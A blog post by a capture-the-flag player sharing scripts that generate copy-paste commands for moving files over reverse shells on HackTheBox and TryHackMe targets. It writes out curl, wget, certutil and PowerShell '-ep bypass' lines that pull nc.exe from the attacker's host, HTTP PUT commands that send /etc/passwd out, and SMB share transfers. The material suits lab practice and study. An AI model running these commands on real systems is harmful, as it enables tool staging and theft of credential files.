File Transfer Commands And Scripts

the-coder · September 13, 2021

Date: 2021-09-13

I have been doing HackTheBox and TryHackMe lately again, after a hiatus, since I acquired my OSCP. There are certain commands that I always have to run on the reverse shells on the target systems to download files, upload files, etc.

This is the culmination of the experience in doing those file transfers.

Download

First of all, there is the usual python http server and download from target using things like curl or wget.

# on kali
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

# on target
wget http://[MY_IP]:80/[FILES]

This is quite tedious, as there is no IP to just copy paste. I had to look up what is my current IP every single time. So in order to optimise the workflow, I wrote a script.

This script is called srvfile, short for serve file

#!/bin/bash

set -e

if [ -z $1 ]; then
    echo "Usage: ./serve_file.sh filename" && exit;
else
    filename=$1;
fi

ip=$(ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d'/' -f 1)
if [ -z $ip ]; then
    echo "tun0 interface ip not found"
    read -p "Enter IP: " ip
fi

echo ""
echo "=== LINUX"
echo "curl http://$ip/$filename -o $(basename $filename)"
echo ""
echo "wget http://$ip/$filename"
echo ""

echo "=== WINDOWS"
echo "powershell -ep bypass -c \"\$wc=New-Object Net.WebClient;\$wc.DownloadFile('http://$ip/$filename','c:\\temp\\$(basename $filename)');\""
echo ""
echo "certutil -urlcache -f http://$ip/$filename $(basename $filename)"
echo ""

echo "-----------------------------------------------------"
echo "Copy paste one of the command above to your reverse shell on the target to download files."

python3 -m http.server 80

This script will automatically get the ip of the interface tun0, which is usually the VPN interface used when hacking for HackTheBox or TryHackMe.

Example usage is as follows.

> srvfile nc.exe

=== LINUX
curl http://10.4.29.218/nc.exe -o nc.exe

wget http://10.4.29.218/nc.exe

=== WINDOWS
powershell -ep bypass -c "$wc=New-Object Net.WebClient;$wc.DownloadFile('http://10.4.29.218/nc.exe','c:\temp\nc.exe');"

certutil -urlcache -f http://10.4.29.218/nc.exe nc.exe

-----------------------------------------------------
Copy paste one of the command above to your reverse shell on the target to download files.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

You just run srvfile command and followed by what file you want to serve. Then the script will produce commands that you can just copy paste to the target, to download said file.

Upload

For the uploading of the file from the target back to kali, I also wrote a script for it.

I call this putsrv, short for PUT server. It uses HTTP PUT method to upload the file.

#!/usr/bin/env python3

"""
Source: https://gist.github.com/darkr4y/761d7536100d2124f5d0db36d4890109
Extend Python's built in HTTP server to save files
curl or wget can be used to send files with options similar to the following
  curl -X PUT --upload-file somefile.txt http://localhost:8000
  wget -O- --method=PUT --body-file=somefile.txt http://localhost:8000/somefile.txt
__Note__: curl automatically appends the filename onto the end of the URL so
the path can be omitted.

Modified by @the-c0d3r, added commands to be copy pasted on target, handling of path,
detection of tun0 ip, printing of the commands to be copy pasted.
"""

import os
import http.server as server

from pathlib import Path


class HTTPRequestHandler(server.SimpleHTTPRequestHandler):
    """Extend SimpleHTTPRequestHandler to handle PUT requests"""
    def do_PUT(self):
        """Save a file following a HTTP PUT request"""
        global path_to_put, file_to_put

        filename = os.path.basename(file_to_put)
        filepath = path_to_put / filename
        file_length = int(self.headers['Content-Length'])

        with open(filepath, 'wb') as output_file:
            output_file.write(self.rfile.read(file_length))
        self.send_response(201, 'Created')
        self.end_headers()
        reply_body = 'Saved "%s"\n' % filepath
        self.wfile.write(reply_body.encode('utf-8'))
        self.close_connection = True


def get_tun0_ip():
    command = "ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d'/' -f 1"
    import subprocess
    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, err = process.communicate()
    ip = out.decode().strip()
    print(f"IP Detected: {ip}")
    if ip == "":
        print("Unable to detect IP, probably tun0 interface not found")
        ip = input("Enter your IP: ")
    return ip


def print_commands(ip, file_to_put):
    print("=== LINUX")
    print(f"curl -X PUT --upload-file {file_to_put} http://{ip}/")
    print("")
    print(f"wget -O- --method=PUT --body-file={file_to_put} http://{ip}/")
    print("")

    print("=== WINDOWS")
    print(f"powershell -ep bypass -c \"$wc=New-Object Net.WebClient;$wc.UploadFile('http://{ip}/', 'PUT', '{file_to_put}');\"")

    print("\n")



if __name__ == '__main__':
    import sys
    if len(sys.argv) < 3:
        print("Usage: putsrv file_to_put_from_server path_to_put_on_local")
        print("e.g.:\n\t putsrv /etc/passwd .")
        exit
    else:
        global path_to_put, file_to_put
        file_to_put = Path(os.path.abspath(sys.argv[1]))
        path_to_put = Path(os.path.abspath(sys.argv[2]))

        filename = os.path.basename(file_to_put)

        ip = get_tun0_ip()
        print(f"File to PUT: {file_to_put}")
        print(f"Path to PUT: {path_to_put}")
        print("\n")

        print_commands(ip, file_to_put)
        print("-" * 32)
        print("Copy the command above and paste it in your reverse shell to upload the file.\n")

        server.test(HandlerClass=HTTPRequestHandler, port="80")

When you run this program, you just need to give it two arguments. First argument is the file you want to upload from the target. The second argument is the path you want the file to be on your kali.

Example usage is as follows.

> putsrv /etc/passwd .

IP Detected: 10.4.29.218
File to PUT: /etc/passwd
Path to PUT: /mnt/hgfs/tools/serve/shell

=== LINUX
curl -X PUT --upload-file /etc/passwd http://10.4.29.218/

wget -O- --method=PUT --body-file=/etc/passwd http://10.4.29.218/

=== WINDOWS
powershell -ep bypass -c "$wc=New-Object Net.WebClient;$wc.UploadFile('http://10.4.29.218/', 'PUT', '/etc/passwd');"


Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

In this case, the command is pre-populated to upload /etc/passwd to the server’s path which is at /mnt/hgfs/tools/serve/shell path. Once you run the command, the file will be stored at /mnt/hgfs/tools/serve/shell/passwd.

PATH

The two scripts I mentioned above can be used as standalone scripts that is placed on the path. I create a directory under my home, at ~/tools/bin, and I put my scripts there.

Then in my ~/.zshrc file, I added the following line to export the path.

export PATH=~/tools/bin/:$PATH

SMB

Another easy way to share files with windows is using SMB. I just need to run the following command to setup a smb server on my kali.

impacket-smbserver SHARE ~/tools/serve/shell/

Then it will create a named share under my IP and the path SHARE. So the full network path looks like this \\10.10.10.10\SHARE\. This path will be mapped to the folder I entered as the second argument, ~/tools/serve/shell

On the window side, you can do both upload and download.

Download to windows target. This command will download nc.exe from the kali smb directory to the target.

copy \\10.10.10.10\SHARE\nc.exe nc.exe

Upload to kali from windows target. This command will upload user.txt file from windows to kali smb directory.

copy user.txt \\10.10.10.10\SHARE\

More posts about the commands will follow in the next few days.

Edit: the scripts are now available at my github repository: https://github.com/the-c0d3r/htb-scripts

Twitter, Facebook